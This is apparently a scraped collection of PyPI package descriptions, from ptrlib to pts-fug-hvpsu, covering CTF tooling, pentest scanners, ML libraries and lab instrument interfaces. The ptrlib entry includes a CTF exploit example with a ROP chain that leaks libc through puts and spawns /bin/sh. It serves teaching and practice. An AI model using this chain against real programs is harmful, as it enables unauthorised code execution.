Saravanan666/pypi-org huggingface dataset:
Package: ptrlib
ptrlibPython library which bundles security-related utilities.DescriptionPtrlib is a Python library for CTF players.
It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.Why not pwntools?Ptrlib is designed to be as library-independent as possible.
Also, ptrlib has some pros such as supporting Windows process.RequirementsSupports: Python 3.8 or laterLibrary Dependency:pycryptodomepywin32 (when handling Windows process)External Program:When usingSSHfunction:sshexpectWhen usingnasmfunction:nasmUsageBasic examples are available at/examples.Testcases under/testsmay also help you understand ptrlib.Quick DocumentThere are many functions in ptrlib.
In this section we try using it for a pwnable task.You can run executable or create socket like this:sock=Process("./pwn01")sock=Process(["./pwn01","--debug"])sock=Socket("localhost",1234)sock=SSH("example.com",22,username="ubuntu",password="p4s$w0rd")sock=SSH("example.com",22,username="ubuntu",identity="./id_rsa")If you have the target binary or libc, it's recommended to load them first.elf=ELF("./pwn01")libc=ELF("./libc.so.6")This doesn't fully analyse the binary so that it runs fast.
Also, ELF class supports cache to reduce calculation.You can use some useful methods such asgot,plt,symbol,sectionand so on.
The following is an example to craft ROP stager."""Connect to host"""# Host name supports CTF-stylesock=Socket("nc localhost 1234")# You can show hexdump for received/sent data for debug#sock.debug = True"""Write ROP chain"""addr_stage2=elf.section(".bss")+0x400payload=b'A'*0x108payload+=flat([# puts(puts@got)next(elf.gadget("pop rdi; ret;")),elf.got("puts"),elf.plt("puts"),# gets(stage2)next(elf.gadget("pop rdi; ret;")),addr_stage2,elf.plt("gets"),# stack pivotnext(elf.gadget("pop rbp; ret;")),addr_stage2,next(elf.gadget("leave\nret"))# GCC-style],map=p64)sock.sendlineafter("Data: ",payload)"""Leak libc address"""# You don't need to fill 8 bytes for u64leak=u64(sock.recvline())# This will show warning if base address looks incorrectlibc.base=leak-libc.symbol("puts")payload=b'A'*8paylaod+=p64(next(elf.gadget("ret")))# Automatically rebase after <ELF>.base is setpayload+=p64(next(libc.search("/bin/sh")))payload+=p64(libc.symbol("system"))# Shows warning if payload contains a character `gets` cannot acceptis_gets_safe(payload)# is_[cin/fgets/gets/getline/scanf/stream]_safesock.sendline(payload)sock.sh()# or sock.interactive()Interaction with curses is supported since 2.1.0.sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
  sock.sendctrl("up")
else:
  sock.sendctrl("esc")InstallRunpip install --upgrade ptrliborpython setup.py install.LicenceMITAuthorptr-yudaiContributorFeel free to make a pull request / issue :)theoremoonAdded/fixed several cryptography functionsAdded buffering of Socket/ProcessAdded status check (CI test)keymoonAdded algorithm package
Package: ptrmetagen
ptr-metagenDescriptionPython package for creation of metastracture used within the Panther Framework  (https://github.com/gisat-panther)Installpip install ptrmetagenExaplesView generation example
... tags and layer template preparedfrom metagen.elements import View
from metagen.elements import LayerTemplate, Tag
from metagen.components import Timeline, State, Maps
from metagen.presets import PresetBackgroundMaps, PresetMapSynchronization, PresetMapSettingView

# timeline
time_line = Timeline.set(start='2000-01-01', end='2000-02-01')
time_line.set_timelineLayer_by_layerTemplate(legend=layer_template_1, items=[layer_template_1])
# view
view_comp = ViewComponent(longDescription='test descrioption')
# maps
maps = Maps.set(mapKey='map-1', mapSetKey='map-set-1', activeSetKey='map-set', background=PresetBackgroundMaps.CartoDB_LightNoLabels,
               view_setting=PresetMapSettingView.Europe, map_synchronisation=PresetMapSynchronization.AllTrue)
# state
state = State()
state.add_component(time_line)
state.add_component(view_comp)
state.add_maps(maps)
View(nameInternal='test_view',applicationKey='test',nameDisplay='test',description='test description',state=state,tagKeys=[tag])
Package: ptrNaturalLanguage
The goal of the library is that of allowing developers to quickly and easily analyze finance text files and strings.The functions in the package make use of ptrFinance to make and save the requests.GitHub Repository Link:https://github.com/123Rocco123/Natural-Language-Processing-Python-LibraryChange Log0.0.17 (11/19/2023)
trainedWords and training CSV files update0.0.16 (10/29/2023)
Sentiment boundaries fix and failsafe0.0.15 (10/29/2023)
Sentiment directory fixes0.0.14 (10/29/2023)
Bug Fixes and dependencies added0.0.13 (10/29/2023)
Bug Fix0.0.12 (10/29/2023)
Sentiment Analysis algorithm rework0.0.11 (3/28/2023)
positiveOrNegativeString bug fix0.0.10 (3/27/2023)
positiveOrNegativeString function creation, checks a string to see if its a positive or negative sentiment behind it - O(n)
Its parameters are: The String, an array containing the positive keywords, and an array containing the negative keywords0.0.9 (3/26/2023)
stringKeywordFind function creation, uses a keyword array, and checks if its in an array - O(n)0.0.8 (3/19/2023)
specificWebsiteSearch function creation, used to search for keywords in a specified website0.0.7 (3/11/2023)
websiteSearch function bug fix. The bug fixed was where there was a different link for the same article from the ptrFinance module called in the function, and the one passed in as a parameter.0.0.5 (3/9/2023)
websiteSearch function bug fix0.0.4 (3/9/2023)
websiteSearch function return type change0.0.3 (3/5/2023)
websiteSearch function addition, used to return paragraphs in websites that match specified keywords0.0.2 (3/2/2023)
stringCheckFunc update. Returning article links as well as titles0.0.1 (3/1/2023)
Initial Release
Package: ptrnets
ptrnetsCollection of pretrained networks in pytorch readily available for transfer learning tasks like neural system identification.InstallationpipinstallptrnetsUsageFind a list of all available models like this:fromptrnetsimportAVAILABLE_MODELSprint(AVAILABLE_MODELS)Import a model like this:fromptrnetsimportsimclr_resnet50x2model=simclr_resnet50x2(pretrained=True)You can access intermediate representations in two ways:Probing the modelYou can conveniently access intermediate representations of a forward pass using theptrnets.utils.mlayer.probe_modelfunction Example:importtorchfromptrnetsimportresnet50fromptrnets.utils.mlayerimportprobe_modelmodel=resnet50(pretrained=True)available_layers=[nameforname,_inmodel.named_modules()]layer_name="layer2.1"assertlayer_nameinavailable_layers,f"Layer{layer_name}not available. Choose from{available_layers}"model_probe=probe_model(model,layer_name)x=torch.rand(1,3,224,224)output=model_probe(x)Note: if the input is not large enough to do a full forward pass through the network, you might need to use atry-exceptblock to catch theRuntimeError.Clipping the modelptrnets.utils.mlayer.clip_modelcreates a copy of the model up to a specific layer. Because the model is smaller, a forward pass can run faster.
However, the output is only guaranteed to be the same as the original model's if the architecture is fully sequential up until that layer.Example:importtorchfromptrnetsimportvgg16fromptrnets.utils.mlayerimportclip_model,probe_modelmodel=vgg16(pretrained=True)available_layers=[nameforname,_inmodel.named_modules()]layer_name="features.18"assertlayer_nameinavailable_layers,f"Layer{layer_name}not available. Choose from{available_layers}"model_clipped=clip_model(model,layer_name)# Creates new model up to the layerx=torch.rand(1,3,224,224)output=model_clipped(x)asserttorch.allclose(output,probe_model(model,layer_name)(x)),"Output of clipped model is not the same as the original model"ContributingPull requests are welcome.
Please see instructionshere.
Package: pts1-prediction-tool
pts1-prediction-toolThis project offers a classification-algorithm for predicting the peroxisomal targeting signal 1 (PTS1) in a given amino acid sequence (primary structure of a protein).Actual version: 1.0.2Installationpip install pts1-prediction-toolPyPi:https://pypi.org/project/pts1-prediction-tool/Userguide:Simple example for using the pts1-prediction-tool in your application.frompts1_prediction_tool.pts1_predictionimportPTS1_Predictor#Instantiates the svm and creates the prediction modelpredictor=PTS1_Predictor()aminoacid_sequence="MMMMMKLSKMLLLSLSKLSKLSKLSKL"# Checks a amino acid sequence for an existing PTS1result=predictor.check_for_pts1(aminoacid_sequence)print(result.isPeroxisomal)Run tests with:pipenv shellpython -m unittest tests/pts1_prediction_tests.pyAlgorithm:The used classification-algorithm is a support vector machine (svm, sklearn.svm.SVC) fromhttps://scikit-learn.org/.This machine learning algorithm was trained to predict the PTS1 in a amino acid sequence (aa_sequence) with a dataset of
514 PTS1/peroxisomal and 11.337 not peroxisomal aa_sequences.
The peroxisomal dataset was generated out of 2324 peroxisomal aa_sequences, which were filtered for the c-terminal-pts1-tripeptide(S, A, C, P, H, T, N, Q, E, G, V) / (K, R, H, Q, D, N, S, M) / (L, F, I, M, Y)*For the training of the svm, the last 14 C-terminal amino acids of the sequence are used.
The optimal parameters for the svm and the used c-terminal length were determined
by 5-fold-cross validation. For this the perxosiomal and not peroxisomal trainingsets were merged and
separated into 80 % training-sets and 20 % validation-setsThe final svm has the following statistical average quantities:Specifity = 1.0Sensitivity = 0.86Precision = 0.98Learning data for the svmThe aa_sequences for the learning-sets are downloaded from UniProt (https://www.uniprot.org/), 23.07.2020.An example application will be published on my website,https://olis-lab.de/@Copyright 2021, Oliver KochSources:Scikit-learn: Machine Learning in Python, Pedregosa et al., JMLR 12, pp. 2825-2830, 2011.https://scikit-learn.org/, 11.04.2021https://www.uniprot.org/), 23.07.2020https://biopython.org/, 11.04.2021
Package: ptsamesite
PTSAMESITESame site scripting detection toolptsamesite is a tool that tests domains for same site scripting vulnerability.ptsamesite utilizes threading for fast parallel domain testing.Installationpip install ptsamesiteAdd to PATHIf you cannot invoke the script in your terminal, its probably because its not in your PATH. Fix it by running commands below.Add to PATH for Bashecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.bashrcsource~/.bashrcAdd to PATH for ZSHecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.zshhrcsource~/.zshhrcUsage examplesptsamesite -d example.com                               # Test domain
ptsamesite -d example.com example2.com                  # Test two domains
ptsamesite -d subdomain1.subdomain2.example.com -s      # Test domain along with all subdomains
ptsamesite -f domain_list.txt                           # Test domains from a file
ptsamesite -f domains_list.txt -s -t 100 -V             # Test domains from a file with all present subdomains, set threads count to 100 and print only vulnerable domainsOptions-d  --domain      <domain>   Test domain
-f  --file        <file>     Test domains from file
-s  --subdomains             Test all subdomains of given domain (default False)
-t  --threads     <threads>  Set number of threads (default 20)
-V  --vulnerable             Show only vulnerable domains
-v  --version                Show script version and exit
-h  --help                   Show this help message and exit
-j  --json                   Output in JSON formatDependenciesdnspython
tldextract
ptlibsVersion History1.0.0
    - Code improvements
    - Updated for ptlibs 1.0.0
0.0.1 - 0.0.5
    - Alpha releasesLicenseCopyright (c) 2023 Penterep Security s.r.o.ptsamesite is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.ptsamesite is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.You should have received a copy of the GNU General Public License
along with ptsamesite.  If not, seehttps://www.gnu.org/licenses/.WarningYou are only allowed to run the tool against the websites which
you have been given permission to pentest. We do not accept any
responsibility for any damage/harm that this application causes to your
computer, or your network. Penterep is not responsible for any illegal
or malicious use of this code. Be Ethical!
Package: ptscore
PassTheSecret Core is the heart of the different deployment methods for
PassTheSecret. The Core provides all encryption functionality and
interaction with the back-end data stores.LicensePassTheSecret Core is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.PassTheSecret Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.You should have received a copy of the GNU General Public License along with PassTheSecret Core.  If not, see <http://www.gnu.org/licenses/>.
Package: ptsearchsploit
PTSEARCHSPLOITsearchsploit wrapperptsearchsploit is a wrapper forsearchsploittool.Installationpip install ptsearchsploitAdd to PATHIf you cannot invoke the script in your terminal, its probably because its not in your PATH. Fix it by running commands below.Add to path for BASHecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.bashrcsource~/.bashrcAdd to path for ZSHecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.zshhrcsource~/.zshhrcUsage examplesptsearchsploit -s 'Apache 2.14.18'
ptsearchsploit -s wordpressOptions-s  --search   <string>  String to search for
-p  --path     <path>    Set path to searchsploit (default: '/usr/bin/searchsploit')
-j  --json               Output in JSON format
-v  --version            Show script version and exit
-h  --help               Show this help message and exitDependenciessearchsploitptlibsVersion History- 0.0.1
    - Initial releaseLicenceCopyright (c) 2020 HACKER Consulting s.r.o.This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.You should have received a copy of the GNU General Public License along with this program. If not, seehttps://www.gnu.org/licenses/.WarningYou are only allowed to run the tool against the websites which
you have been given permission to pentest. We do not accept any
responsibility for any damage/harm that this application causes to your
computer, or your network. Penterep is not responsible for any illegal
or malicious use of this code. Be Ethical!
Package: ptsecurixt
PTSECURIXTsecurity.txt finderptsecurixt is a tool that searches for security.txt file in known locations.Installationpip install ptsecurixtAdd to PATHIf you cannot invoke the script in your terminal, its probably because its not in your PATH. Fix it by running commands below.Add to PATH for Bashecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.bashrcsource~/.bashrcAdd to PATH for ZSHecho"export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"">>~/.zshhrcsource~/.zshhrcUsage examplesptsecurixt -u htttps://www.example.com/Options-u   --url         <url>           Connect to URL
-p   --proxy       <proxy>         Set proxy (e.g. http://127.0.0.1:8080)
-T   --timeout                     Set timeout for HTTP requests
-c   --cookie      <cookie>        Set cookie
-ua  --user-agent  <ua>            Set User-Agent header
-H   --headers     <header:value>  Set custom header(s)
-r   --redirects                   Follow redirects (default False)
-C   --cache                       Cache HTTP communication (load from tmp in future)
-j   --json                        Output in JSON format
-v   --version                     Show script version and exit
-h   --help                        Show this help message and exitDependenciesrequests
ptlibsVersion History1.0.0 - 1.0.1
    - Code improvements
    - Updated for ptlibs 1.0.0
0.0.4
    - Refactored for latest ptlibs
0.0.1 - 0.0.3
    - Alpha releasesLicenseCopyright (c) 2023 Penterep Security s.r.o.ptsecurixt is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.ptsecurixt is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.You should have received a copy of the GNU General Public License along with ptsecurixt. If not, seehttps://www.gnu.org/licenses/.WarningYou are only allowed to run the tool against the websites which
you have been given permission to pentest. We do not accept any
responsibility for any damage/harm that this application causes to your
computer, or your network. Penterep is not responsible for any illegal
or malicious use of this code. Be Ethical!
Package: pts-eps-psu
EPS/MP 21200 PSUInterface and diagnostic tests for the EPS/MP-21200 1200V-2A PSU seriesClone repositorycd <path-to-directory>
git clone git@gitlab.com:pass-testing-solutions/eps-mp-21200-psu.git
cd eps-mp-21200-psu/
git pull origin main
git checkout -b <your-new-branch>  # Please follow the branch naming convention as mentioned in the coding guidelinesVirtual environment on MacOS1. VirtualenvwrapperYou can install virtualenv and virtualenvwrapper with:pip3 install virtualenv
pip3 install virtualenvwrapper
mkdir ~/.virtualenvs
# Might need to query where the virtualenv and virtualenvwrapper.sh are
which virtualenv
which virtualenvwrapper.sh
which python3Add these lines in the ~/.zshrc file# Setting PATH for Python 3 installed by brew
export PATH=<path-to-your-python3>:$PATH

# Configuration for virtualenv
export WORKON_HOME=$HOME/.virtualenvs
export VIRTUALENVWRAPPER_PYTHON=<path-to-your-python3>
export VIRTUALENVWRAPPER_VIRTUALENV=<path-to-your-virtualenv>
source <path-to-your-virtualenvwrapper.sh>

source $ZSH/oh-my-zsh.shMake sure to save these changes in your file and close your terminal for them to take effect.
Now you can create a virtual environment by simply typing:mkvirtualenv <name-of-your-virtual-env>
cd <your-git-repository>
workon <name-of-your-virtual-env>
deactivate <name-of-your-virtual-env>To add the correct interpreter for your repository on PyCharm:- PyCharm IDE > Preferences > Project > Python Interpreter
- Select the 'Add' button for interpreters
- Choose the 'Existing environments' in 'Virtualenv'
- Add the python3 file from /bin/ of your venv folder
E.g. - .virtualenvs/demo_repo_venv/bin/python3After setting up the venv for the repo please install all the
requirements and allow some time for the IDE to do indexing. If your repository has a requirements.txt:pip3 install -r requirements.txt2. PipenvInstall pipenvpip3 install pipenv 
# or
brew install pipenv

pipenv shell         # will create a virtualenv for the project
pipenv install       # will install dependencies for the repo from the Pipfile and Pipfile.lock

# Install any further packages in this environment as

pipenv install rich  # rich is a python library to nicely print on terminalYour pipenv environment will be in the ~./virtualenvs folder.
Make sure to add the interpreter on your IDE if not automatically added by navigating to the virtualenv folder for your repo and selecting the correct python3 file from /bin/.MaintainersMaintainers: @julianpass and @shuparnadeb_ptsLicenseFor open source projects, say how it is licensed.
Package: pts-fug-hvpsu
FUG HV Power SupplyInterface to the FUG HV Power Supply sourceClone repositorycd <path-to-directory>
git clone git@gitlab.com:pass-testing-solutions/fug-power-supply.git
cd fug-power-supply/
git pull origin main
git checkout -b <your-new-branch>  # Please follow the branch naming convention as mentioned in the coding guidelinesVirtual environment on MacOS1. VirtualenvwrapperYou can install virtualenv and virtualenvwrapper with:pip3 install virtualenv
pip3 install virtualenvwrapper
mkdir ~/.virtualenvs
# Might need to query where the virtualenv and virtualenvwrapper.sh are
which virtualenv
which virtualenvwrapper.sh
which python3Add these lines in the ~/.zshrc file# Setting PATH for Python 3 installed by brew
export PATH=<path-to-your-python3>:$PATH

# Configuration for virtualenv
export WORKON_HOME=$HOME/.virtualenvs
export VIRTUALENVWRAPPER_PYTHON=<path-to-your-python3>
export VIRTUALENVWRAPPER_VIRTUALENV=<path-to-your-virtualenv>
source <path-to-your-virtualenvwrapper.sh>

source $ZSH/oh-my-zsh.shMake sure to save these changes in your file and close your terminal for them to take effect.
Now you can create a virtual environment by simply typing:mkvirtualenv <name-of-your-virtual-env>
cd <your-git-repository>
workon <name-of-your-virtual-env>
deactivate <name-of-your-virtual-env>To add the correct interpreter for your repository on PyCharm:- PyCharm IDE > Preferences > Project > Python Interpreter
- Select the 'Add' button for interpreters
- Choose the 'Existing environments' in 'Virtualenv'
- Add the python3 file from /bin/ of your venv folder
E.g. - .virtualenvs/demo_repo_venv/bin/python3After setting up the venv for the repo please install all the
requirements and allow some time for the IDE to do indexing. If your repository has a requirements.txt:pip3 install -r requirements.txt2. PipenvInstall pipenvpip3 install pipenv 
# or
brew install pipenv

pipenv shell         # will create a virtualenv for the project
pipenv install       # will install dependencies for the repo from the Pipfile and Pipfile.lock

# Install any further packages in this environment as

pipenv install rich  # rich is a python library to nicely print on terminalYour pipenv environment will be in the ~./virtualenvs folder.
Make sure to add the interpreter on your IDE if not automatically added by navigating to the virtualenv folder for your repo and selecting the correct python3 file from /bin/.MaintainersMaintainers: @julianpass and @shuparnadeb_pts